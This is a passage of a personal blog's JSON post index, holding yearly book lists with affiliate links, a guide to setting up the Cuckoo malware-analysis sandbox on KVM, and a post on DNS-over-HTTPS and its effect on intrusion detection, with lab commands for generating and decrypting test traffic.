href=\"https://www.amazon.com/Places-and-Names-Elliot-Ackerman-audiobook/dp/B07S25G7SF?tag=kimobu-20\"\u003ePlaces and Names: On War, Revolution, and Returning\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Better-Atul-Gawande-audiobook/dp/B000OYA7KU?tag=kimobu-20\"\u003eBetter: A Surgeon\u0026rsquo;s Notes on Performance\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Alone-at-Dawn-audiobook/dp/B07SHHR9MD?tag=kimobu-20\"\u003eAlone at Dawn: Medal of Honor Recipient John Chapman and the Untold Story of the World\u0026rsquo;s Deadliest Special Operations Force\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Call-Sign-Chaos-audiobook/dp/B07SHVNJWQ?tag=kimobu-20\"\u003eCall Sign Chaos: Learning to Lead\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Moment-of-Lift-Melinda-Gates-audiobook/dp/B07JXBV616?tag=kimobu-20\"\u003eThe Moment of Lift: How Empowering Women Changes the World\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/A-Gentleman-in-Moscow-audiobook/dp/B01E0CCSXA?tag=kimobu-20\"\u003eA Gentleman in Moscow: A Novel\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Heartland-Sarah-Smarsh-audiobook/dp/B07CTZJRHR?tag=kimobu-20\"\u003eHeartland: A Memoir of Working Hard and Being Broke in the Richest Country on Earth\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Why-We-Sleep-Matthew-Walker-audiobook/dp/B0752XRB5F?tag=kimobu-20\"\u003eWhy We Sleep: Unlocking the Power of Sleep and Dreams\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Talking-to-Strangers-audiobook/dp/B07NJCG1XS?tag=kimobu-20\"\u003eTalking to Strangers: What We Should Know About the People We Don\u0026rsquo;t Know\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Strange-Order-of-Things-audiobook/dp/B079C5JMGX?tag=kimobu-20\"\u003eThe Strange Order of Things: Life, Feeling, and the Making of Cultures\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Sea-Stories-William-H-McRaven-audiobook/dp/B07PZY3KF7?tag=kimobu-20\"\u003eSea Stories: My Life in Special Operations\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Sandworm-Andy-Greenberg-audiobook/dp/B07RGRTZM6?tag=kimobu-20\"\u003eSandworm: A New Era of Cyberwar and the Hunt for the Kremlin\u0026rsquo;s Most Dangerous Hackers\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Righteous-Mind-Jonathan-Haidt-audiobook/dp/B008OEMNNQ?tag=kimobu-20\"\u003eThe Righteous Mind: Why Good People Are Divided by Politics and Religion\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Never-Lost-Again-Bill-Kilday-audiobook/dp/B07CHPY6B9?tag=kimobu-20\"\u003eNever Lost Again: The Google Mapping Revolution That Sparked New Industries and Augmented Our Reality\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Mastery-Robert-Greene-audiobook/dp/B00A6G9CGG?tag=kimobu-20\"\u003eMastery\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Ill-Be-Gone-in-Dark-audiobook/dp/B077MDJ4VD?tag=kimobu-20\"\u003eI\u0026rsquo;ll Be Gone in the Dark: One Woman\u0026rsquo;s Obsessive Search for the Golden State Killer\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Body-Bill-Bryson-audiobook/dp/B07RB2C1LV?tag=kimobu-20\"\u003eThe Body: A Guide for Occupants\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Snow-Crash-Neal-Stephenson-audiobook/dp/B00005NZJA?tag=kimobu-20\"\u003eSnow Crash\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/White-Fragility-audiobook/dp/B07D6XQQRY?tag=kimobu-20\"\u003eWhite Fragility: Why It\u0026rsquo;s So Hard for White People to Talk About Racism\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Catch-and-Kill-Ronan-Farrow-audiobook/dp/B07WTF24ZC?tag=kimobu-20\"\u003eCatch and Kill: Lies, Spies, and a Conspiracy to Protect Predators\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Burn-In/dp/B084QBR9NZ?tag=kimobu-20\"\u003eBurn-In: A Novel of the Real Robotic Revolution\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Corruption-America-What-Stake/dp/B085LLQCYW?tag=kimobu-20\"\u003eOn Corruption in America: And What Is at Stake\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/With-Old-Breed-E-B-Sledge-audiobook/dp/B00FOWJ762?tag=kimobu-20\"\u003eWith the Old Breed: At Peleliu and Okinawa\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Art-of-Intelligence-audiobook/dp/B0083X7G94?tag=kimobu-20\"\u003eThe Art of Intelligence: Lessons from a Life in the CIA\u0026rsquo;s Clandestine Service\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Active-Measures-History-Disinformation-Political/dp/B086B8Y7CV?tag=kimobu-20\"\u003eActive Measures: The Secret History of Disinformation and Political Warfare\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-President-Is-Missing-Dennis-Quaid/dp/B076HYXZV9?tag=kimobu-20\"\u003eThe President Is Missing: A Novel\u003c/a\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cem\u003eThe above are Amazon affiliate links. As an Amazon Associate I earn from qualifying purchases.\u003c/em\u003e\u003c/p\u003e","title":"Recap of the books I read in 2020"},{"content":"The Cuckoo project provides a safe environment in which to execute malware (also called \u0026ldquo;detonating\u0026rdquo;). I will be using Cuckoo as part of a malware analysis class. There are several guides that you could follow to setup Cuckoo, but almost all of the ones that I found used VirtualBox as a hypervisor. Since I have a homelab running on KVM, I wanted to install Cuckoo to use that as well. There is no groundbreaking information in this post, but it consolidates information that I had to find from several different sources while troubleshooting.\nThe overall steps that this post covers are:\nConfiguring nested virtualization Installing \u0026amp; configuring a Cuckoo host Creating a sandbox virtual machine Configuring the sandbox Configuring nested virtualization I use oVirt to run my homelab, and there are a few tasks which need to be performed to configure the environment for nested virtualization. First, the hosts need to have the kvm-intel.nested kernel option enabled. This can be accomplished by navigating to the host, clicking Edit, going to the Kernel tab, and checking the Nested Virtualization checkbox. Second, the vdsm-hook-nestedvt package needs to be installed via Yum. Once those tasks are accomplished, rebooting the host should finish configuration. This can be confirmed by running the below command, which should output \u0026ldquo;Y\u0026rdquo;.\ncat /sys/module/kvm_intel/parameters/nested\nInstalling \u0026amp; configuring a Cuckoo host Cuckoo has several software requirements that need to be fulfilled. Most of these can be installed via apt or pip. I originally attempted to use the Cuckoo Autoinstall script, but there were just enough differences from when that was created to the current Cuckoo architecture (thinking specifically of virtual environments) and between Virtualbox and KVM, that I ended up doing most of the steps manually and then documenting it as a script. At the bottom of this post is a link to that shell script which will automate package installation and much of the sandbox creation.\nCuckoo recommends a Debian based Linux distribution. I installed Ubuntu 18.04 to a virtual machine. My VM disks are stored on a one terabyte drive. The sandbox VM which Cuckoo will run will have an 80GB disk; keeping this on the data disk would consume a fair amount of space. Instead, I opted to keep the sandbox\u0026rsquo;s disk on a volume exported by FreeNAS. My initial attempt at hosting this over a Samba share did not work. qemu-img attempts to obtain a lock on the file, and some bug prevents this lock from being acquired. Using NFS worked, but required some additional options:\nfreenas.kimobu.space:/mnt/Pool0/Datastore /mnt/datastore nfs hard,intr,nolock,nfsvers=3,tcp,timeo=1200,rsize=1048600,wsize=1048600,bg 0 0 Creating a sandbox virtual machine With networked storage working, the disk for the sandbox could then be created. qemu-img is used to create an 80GB qcow2 format disk.\nqemu-img create -f qcow2 /mnt/datastore/vm/Windows7Sandbox/disk1.qcow2 80G With the disk created, I could create a virtual machine in which malware will be executed. While KVM powers oVirt, I did not previously have the need to control KVM manually. This step involved learning how to make, start, stop, and snapshot VMs via the command line. To begin, a virtual machine is created which contains the disk, a CDROM loaded with the Windows 7 installer, and a floppy with the Virt I/O drivers:\nVMNAME=Windows7Sandbox DISKPATH=/mnt/datastore/vm/Windows7Sandbox/disk1.qcow2 ISOPATH=/mnt/datastore/iso/ CDROM=Windows7Installer.iso VIRTIO=virtio-win_amd64.vfd virt-install --name=$VMNAME --os-type=windows --os-variant win7 --network network=default,model=virtio --disk path=$DISKPATH,format=qcow2,device=disk,bus=virtio --cdrom $ISOPATH$CDROM --disk path=$ISOPATH$VIRTIO,device=floppy --graphics vnc,listen=0.0.0.0 --ram=2048 --vcpus 2 Even though the qcow2 format is specified, my version of virt-install created a VM which assumed the disk was raw. The actual VM configuration can be checked with virsh dumpxml $VMNAME. If needed, virsh edit $VMNAME can be used to modify the configuration. My workflow for this ended up being:\nvirsh destroy $VMNAME virsh edit $VMNAME # Change disk format # add \u0026lt;boot dev=\u0026#39;cdrom\u0026#39;/\u0026gt; in the \u0026lt;os\u0026gt; tag # Change \u0026lt;emulator\u0026gt; to use /usr/bin/kvm virsh start $VMNAME At this point, the VM has the correct hardware settings. In order to save others from having to deal with this step, I exported the VM\u0026rsquo;s configuration to an XML file, and the script that I have provided will use that to create the VM.\nConfiguring the sandbox Once the sandbox VM is up and running, I could VNC into it through port 5900 exposed by the Cuckoo VM. The first step is installing the sandbox operating system which in this case is Windows 7. The only special step here is loading the VirtI/O drivers at the install destination screen to enable the disk and network devices. After the operating system is installed, follow the Cuckoo docs.\nFor my purposes, the additional software which I installed included:\nMicrosoft Office Adobe Reader Additional configuration was needed to:\nDisable User Account Control Enable macros by default for Office documents I missed the bolded part of the Cuckoo docs, so I will reiterate here that when snapshotting the VM, it needs to be running.\nWrapping up The last bit was creating startup/shutdown scripts. In the Autoinstall script that I referenced earlier, shell scripts are used to control Cuckoo. Since I have a newer Ubuntu machine, I created Systemd unit files for the Cuckoo engine, its API, and its web service. After those services are started, files can be submitted to the engine for analysis.\n(note: image lost to the ether)\nThere is still a lot of learning for me to do on this platform, but as the screenshot above shows, you can get quick wins even with this minimal install. Future things to tune and enable include:\nGet Yara working Enable Elasticsearch Use Volatility for memory forensics Reducing the VM artifacts to reduce the impact of anti-analysis code The files to enable smoother Cuckoo installation on KVM can be found on Github\n","permalink":"https://www.kimobu.space/posts/Installing-the-Cuckoo-sandbox-using-KVM/","summary":"\u003cp\u003eThe \u003ca href=\"https://cuckoosandbox.org\"\u003eCuckoo\u003c/a\u003e project provides a safe environment in which to execute malware (also called \u0026ldquo;detonating\u0026rdquo;). I will be using Cuckoo as part of a malware analysis class. There are \u003ca href=\"https://www.cybrary.it/blog/0p3n/cuckoo-installation-guide-malware-sandboxing/\"\u003eseveral\u003c/a\u003e \u003ca href=\"https://medium.com/@sainadhjamalpur/build-your-own-cuckoo-sandbox-installation-guide-3fc44b03a622\"\u003eguides\u003c/a\u003e \u003ca href=\"https://www.sanjaysaha.info/blog/installation-of-cuckoo-sandbox-in-windows-10/\"\u003ethat\u003c/a\u003e \u003ca href=\"https://tom-churchill.blogspot.com/2017/08/setting-up-cuckoo-sandbox-step-by-step.html\"\u003eyou\u003c/a\u003e could follow to setup Cuckoo, but almost all of the ones that I found used VirtualBox as a hypervisor. Since I have a homelab running on KVM, I wanted to install Cuckoo to use that as well. There is no groundbreaking information in this post, but it consolidates information that I had to find from several different sources while troubleshooting.\u003c/p\u003e","title":"Installing the Cuckoo Sandbox Using KVM"},{"content":"DNS Security As a plain-text protocol, DNS lacks Confidentiality, Integrity, and Availability (CIA) protections. An attacker who can observe DNS activity can see where the DNS request originated from, where responses came from, what the query and response were, or tamper with the response.\nDNS over HTTPS (DoH) effectively mitigates many of those weaknesses. Instead of being a plain-text protocol over UDP, DoH is an exchange of DNS queries and responses over a TLS encrypted connection, using the HTTP2 protocol to transmit messages. Because of this encryption, an attacker can neither observe nor tamper with DoH queries and responses.\nDNS is used by malware to perform lookups on Command and Control (C2) servers. Malware can also use DNS as a covert-channel, embedding commands or exfiltrated data as encoded values within a DNS datagram. Security software (i.e. Intrusion Detection Systems [IDS]) observes network traffic to identify known C2 domains being resolved (signature matching). An IDS can also use anomaly detection to identify potential malicious use of DNS through various features of the DNS query or response.\nDetecting Malicious DNS In the following table, some of the features which are used in IDS detecction algorithms are presented.\nFeature Description Visible in DoH Domain name The name that was queried No IP address Either the source or destination IP address of the DNS query Yes Port Either the source or destination port of the DNS query Yes Timestamp When the DNS query or response took place Maybe - Need to be able to differentiate between DoH and other HTTPS traffic Record type The type of DNS record queried - A, AAAA, MX, etc No NXDOMAIN A DNS response of \u0026ldquo;no domain record\u0026rdquo; - useful in identifying malware using a Domain Generating Algorithm (DGA) No Web presence An active lookup performed by the IDS, checking for whether there is a \u0026ldquo;legitimate\u0026rdquo; web presence of the queried domain No, requires knowledge of the resolved domain name Entropy The entropy of the queried domain - useful in identifying DNS being used as a covert channel No Unique query ratio The number of unique queries from a given DNS client No Query volume The total number of DNS queries from a given client No Longest meaningful word The longest \u0026ldquo;real\u0026rdquo; word that is part of the resolved domain. \u0026ldquo;Real\u0026rdquo; domains/services should use real words somewhere in the domain or subdomain No Unique subdomains The number of unique subdomains - used in covert channel detection. No Number of subdomains The total number of subdomains queried in a given domain No As we can see from that table, most of the features of a DNS query/response which are used to detect malware using DNS are not available due to the TLS encryption. Further, if the HTTP GET method is used, the format of the query is different than what is used in normal DNS, so additional processing of packets must occur to obtain the features in a format that can be processed by exiting systems.\nGenerating DoH Test Data To generate DoH test data, I used a CentOS 8 VM with 4x 3.2Ghz CPU and 8GB RAM.\nFacebook provides a DoH Proxy Server and a client which were used to generate the traffic. The software is available as a PIP package.\npip3 install doh-proxy sslkeylog A TLS certificate and key are needed. openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout selfsigned.key -out selfsigned.pem Now the DoH proxy can be ran. doh-proxy --upstream your_upstream_dns --certfile=./selfsigned.pem --keyfile=./selfsigned.key --listen-address=0.0.0.0\nAt this point, you should be able to point a client which can use DoH to the DoH Proxy and resolve domain names. I had trouble getting Firefox on a Windows 10 VM to consistently use the DoH Proxy, so I ended up using the doh-client instead. This had the added benefit of easily scripting queries. I used the first 100,000 records of the Majestic Million dataset. The full script used to generate queries is availble on Github.\nOne last thing I needed to do was modify the utils.py file of the DoH Proxy and add the following lines. The SSLKeyLog package will save TLS keys exchanged during TLS session setup. This is a requirement in order to decrypt TLS 1.3, which uses Forward Secrecy.\nimport sslkeylog sslkeylog.set_keylog(\u0026#34;/root/sslkeylog.txt\u0026#34;) While executing the gen_doh.py script, I used tcpdump to capture the traffic. tcpdump -i lo -s 65535 -w doh_get.pcap Once the script has finished, the PCAP can be opened with Wireshark and confirm that all of the traffic is TLS encrypted. Using tshark and the SSLKeyLog file, we can decrypt the traffic to see what DoH looks like on the wire. time tshark -r doh_get.pcap -V -x -o \u0026quot;ssl.desegment_ssl_records: TRUE\u0026quot; -o \u0026quot;ssl.desegment_ssl_application_data: TRUE\u0026quot; -o \u0026quot;ssl.keys_list:127.0.0.1,443,http,selfsigned.pem\u0026quot; -o \u0026quot;ssl.keylog_file:sslkeylog.txt\u0026quot; -w doh_get_decrypted.pcap This process was performed once for GET traffic and once for POST. The average time to decrypt those two PCAPs was 876.5 seconds.\nHTTP Action Packets File size Decrypted file size GET 2,078,688 504,824,100 542,107,992 POST 2,177,897 516,151,600 555,337,372 The encrypted DoH traffic provides only Netflow information. (note: image lost to the ether)\nOnce unencrypted, we can see the queried domain and response. When using GET, the domain query is base64 encoded, contributing to additional processing needed to transform the data into a usable format. (note: image lost to the ether)\nFuture work Analysis of TLS decryption on larger datasets, discriminating between DoH and non-DoH traffic Transformation of DoH traffic to DNS wire format for feeding into IDS ","permalink":"https://www.kimobu.space/posts/Investigating-DoH/","summary":"\u003ch1 id=\"dns-security\"\u003eDNS Security\u003c/h1\u003e\n\u003cp\u003eAs a plain-text protocol, DNS lacks Confidentiality, Integrity, and Availability (CIA) protections. An attacker who can observe DNS activity can see where the DNS request originated from, where responses came from, what the query and response were, or tamper with the response.\u003c/p\u003e\n\u003cp\u003eDNS over HTTPS (DoH) effectively mitigates many of those weaknesses. Instead of being a plain-text protocol over UDP, DoH is an exchange of DNS queries and responses over a TLS encrypted connection, using the HTTP2 protocol to transmit messages. Because of this encryption, an attacker can neither observe nor tamper with DoH queries and responses.\u003c/p\u003e","title":"Investigating DoH"},{"content":" On Cyber: Towards an Operational Art for Cyber Conflict Red Badge of Courage Can American Capitalism Survive?: Why Greed Is Not Good, Opportunity Is Not Equal, and Fairness Won\u0026rsquo;t Make Us Poor Catcher in the Rye Catch-22 Draft No. 4: On the Writing Process The Master Algorithm: How the Quest for the Ultimate Learning Machine Will Remake Our World Mercy Watson au cine-parc Endurance: My Year in Space, A Lifetime of Discovery Capital in the 21st Century How to Change Your Mind: What the New Science of Psychedelics Teaches Us About Consciousness, Dying, Addiction, Depression, and Transcendence It Came from Something Awful: How a Toxic Troll Army Accidentally Memed Donald Trump into Office Upheaval: Turning Points for Nations in Crisis The Fifth Risk: Undoing Democracy Deep Work: Rules for Focused Success in a Distracted World Let My People Go Surfing: The Education of a Reluctant Businessman\u0026ndash;Including 10 More Years of Business Unusual Shortest Way Home: One Mayor\u0026rsquo;s Challenge and a Model for America\u0026rsquo;s Future The Wright Brothers John Adams On China Chesty: The Story of Lieutenant General Lewis B. Puller, USMC Boyd: The Fighter Pilot Who Changed the Art of War Never Grow Up Alexander Hamilton Fighter Pilot: The Memoirs of Legendary Ace Robin Olds Army of None: Autonomous Weapons and the Future of War Democracy in Chains: The Deep History of the Radical Right\u0026rsquo;s Stealth Plan for America Starship Troopers Range: Why Generalists Triumph in a Specialized World The above are Amazon affiliate links. As an Amazon Associate I earn from qualifying purchases.\n","permalink":"https://www.kimobu.space/posts/Books-of-2019/","summary":"\u003col\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Cyber-Towards-Operational-Art-Conflict/dp/0692911561?tag=kimobu-20\"\u003eOn Cyber: Towards an Operational Art for Cyber Conflict\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Red-Badge-Courage-Novel-Stephen/dp/B0B832PRVB?tag=kimobu-20\"\u003eRed Badge of Courage\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Can-American-Capitalism-Survive-audiobook/dp/B07GSBJJBC?tag=kimobu-20\"\u003eCan American Capitalism Survive?: Why Greed Is Not Good, Opportunity Is Not Equal, and Fairness Won\u0026rsquo;t Make Us Poor\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Catcher-Rye-J-D-Salinger/dp/0316769177?tag=kimobu-20\"\u003eCatcher in the Rye\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Catch-22-Joseph-Heller-audiobook/dp/B074TM89CD?tag=kimobu-20\"\u003eCatch-22\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Draft-No-4-John-McPhee-audiobook/dp/B075FCBRFN?tag=kimobu-20\"\u003eDraft No. 4: On the Writing Process\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Master-Algorithm-audiobook/dp/B014X01SS0?tag=kimobu-20\"\u003eThe Master Algorithm: How the Quest for the Ultimate Learning Machine Will Remake Our World\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Mercy-Watson-Au-Cine-Parc-French/dp/0545982014?tag=kimobu-20\"\u003eMercy Watson au cine-parc\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Endurance-Scott-Kelly-audiobook/dp/B071QWWGFX?tag=kimobu-20\"\u003eEndurance: My Year in Space, A Lifetime of Discovery\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Capital-in-the-Twenty-First-Century/dp/B00K33AFOK?tag=kimobu-20\"\u003eCapital in the 21st Century\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/How-to-Change-Your-Mind-audiobook/dp/B07B1V3RF5?tag=kimobu-20\"\u003eHow to Change Your Mind: What the New Science of Psychedelics Teaches Us About Consciousness, Dying, Addiction, Depression, and Transcendence\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/It-Came-from-Something-Awful-audiobook/dp/B07VDG4RLZ?tag=kimobu-20\"\u003eIt Came from Something Awful: How a Toxic Troll Army Accidentally Memed Donald Trump into Office\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Upheaval-Jared-Diamond-audiobook/dp/B07PHH753Y?tag=kimobu-20\"\u003eUpheaval: Turning Points for Nations in Crisis\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Fifth-Risk-Michael-Lewis-audiobook/dp/B07GNTDQJQ?tag=kimobu-20\"\u003eThe Fifth Risk: Undoing Democracy\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Deep-Work-Cal-Newport-audiobook/dp/B0189PVAWY?tag=kimobu-20\"\u003eDeep Work: Rules for Focused Success in a Distracted World\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Let-My-People-Go-Surfing-audiobook/dp/B01KB9LY6I?tag=kimobu-20\"\u003eLet My People Go Surfing: The Education of a Reluctant Businessman\u0026ndash;Including 10 More Years of Business Unusual\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Shortest-Way-Home-Pete-Buttigieg-audiobook/dp/B07NGN9NQJ?tag=kimobu-20\"\u003eShortest Way Home: One Mayor\u0026rsquo;s Challenge and a Model for America\u0026rsquo;s Future\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Wright-Brothers-audiobook/dp/B00TA5MPEU?tag=kimobu-20\"\u003eThe Wright Brothers\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/John-Adams-David-McCullough-audiobook/dp/B000CQK05C?tag=kimobu-20\"\u003eJohn Adams\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/On-China-Henry-Kissinger-audiobook/dp/B00516Y45U?tag=kimobu-20\"\u003eOn China\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Chesty-audiobook/dp/B07D7Z6T4R?tag=kimobu-20\"\u003eChesty: The Story of Lieutenant General Lewis B. Puller, USMC\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Boyd-Robert-Coram-audiobook/dp/B01I5OK43U?tag=kimobu-20\"\u003eBoyd: The Fighter Pilot Who Changed the Art of War\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Never-Grow-Up-Jackie-Chan-Zhu-Mo-audiobook/dp/B07F3DQP82?tag=kimobu-20\"\u003eNever Grow Up\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Alexander-Hamilton-Ron-Chernow-audiobook/dp/B0007OB58A?tag=kimobu-20\"\u003eAlexander Hamilton\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Fighter-Pilot-audiobook/dp/B003H2O946?tag=kimobu-20\"\u003eFighter Pilot: The Memoirs of Legendary Ace Robin Olds\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Army-of-None-Paul-Scharre-audiobook/dp/B07CRK39J7?tag=kimobu-20\"\u003eArmy of None: Autonomous Weapons and the Future of War\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Democracy-in-Chains-Nancy-MacLean-audiobook/dp/B072J2MTWT?tag=kimobu-20\"\u003eDemocracy in Chains: The Deep History of the Radical Right\u0026rsquo;s Stealth Plan for America\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Starship-Troopers-audiobook/dp/B00005QTH1?tag=kimobu-20\"\u003eStarship Troopers\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Range-David-Epstein-audiobook/dp/B07N6MPWLS?tag=kimobu-20\"\u003eRange: Why Generalists Triumph in a Specialized World\u003c/a\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cem\u003eThe above are Amazon affiliate links. As an Amazon Associate I earn from qualifying purchases.\u003c/em\u003e\u003c/p\u003e","title":"Recap of the books I read in 2019"},{"content":" On War Duty: Memoirs of a Secretary at War Fire and Fury: Inside the Trump White House The Innovators: How a Group of Hackers, Geniuses, and Geeks Created the Digital Revolution Violence of Action: Untold Stories of the 75th Ranger Regiment in the War on Terror Curious: The Desire to Know and Why Your Future Depends On It Ghost Fleet: A Novel of the Next World War The Sun Also Rises Grapes of Wrath Kingpin: How One Hacker Took Over the Billion-Dollar Cybercrime Underground Unbreakable: A Navy SEAL\u0026rsquo;s Way of Life A Higher Loyalty: Truth, Lies, and Leadership Evicted: Poverty and Profit in the American City The Future of War: A History A Generation of Sociopaths: How the Baby Boomers Betrayed America Lab 257: The Disturbing Story of the Government\u0026rsquo;s Secret Germ Laboratory Leonardo da Vinci The Phoenix Project (A Novel About IT, DevOps, and Helping Your Business Win) Energy and Civilization: A History Promise Me, Dad: A Year of Hope, Hardship, and Purpose Enlightenment Now: The Case for Reason, Science, Humanism, and Progress Brave New World The Aviators: Eddie Rickenbacker, Jimmy Doolittle, Charles Lindbergh, and the Epic Age of Flight The Perfect Weapon: War, Sabotage, and Fear in the Cyber Age Black Hearts: One Platoon\u0026rsquo;s Descent into Madness in Iraq\u0026rsquo;s Triangle of Death Factfulness: Ten Reasons We\u0026rsquo;re Wrong About the World\u0026ndash;and Why Things Are Better Than You Think Team of Rivals: The Political Genius of Abraham Lincoln Radical Inclusion: What the Post-9/11 World Should Have Taught Us About Leadership Facts and Fears: Hard Truths from a Life in Intelligence Genghis Khan and the Making of the Modern World Half-Earth: Our Planet\u0026rsquo;s Fight for Life The Omnivore\u0026rsquo;s Dilemma: A Natural History of Four Meals A Long Way Home: A Memoir Thomas Jefferson: The Art of Power Thieves of State: Why Corruption Threatens Global Security The above are Amazon affiliate links. As an Amazon Associate I earn from qualifying purchases.\n","permalink":"https://www.kimobu.space/posts/Books-of-2018/","summary":"\u003col\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Audible-On-War/dp/B09CJL2FJY?tag=kimobu-20\"\u003eOn War\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Duty-Robert-M-Gates-audiobook/dp/B00HRYASL8?tag=kimobu-20\"\u003eDuty: Memoirs of a Secretary at War\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Fire-and-Fury-Michael-Wolff-audiobook/dp/B077G9ZMTC?tag=kimobu-20\"\u003eFire and Fury: Inside the Trump White House\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Innovators-Walter-Isaacson-audiobook/dp/B00M9KICAY?tag=kimobu-20\"\u003eThe Innovators: How a Group of Hackers, Geniuses, and Geeks Created the Digital Revolution\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Violence-of-Action-audiobook/dp/B00UAUZ4AG?tag=kimobu-20\"\u003eViolence of Action: Untold Stories of the 75th Ranger Regiment in the War on Terror\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Curious-Desire-Know-Future-Depends/dp/B09GD4WDQY?tag=kimobu-20\"\u003eCurious: The Desire to Know and Why Your Future Depends On It\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Ghost-Fleet-audiobook/dp/B00YI2LXAC?tag=kimobu-20\"\u003eGhost Fleet: A Novel of the Next World War\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/The-Sun-Also-Rises-audiobook/dp/B000JMKHHK?tag=kimobu-20\"\u003eThe Sun Also Rises\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Grapes-Wrath-John-Steinbeck/dp/0143039431?tag=kimobu-20\"\u003eGrapes of Wrath\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca 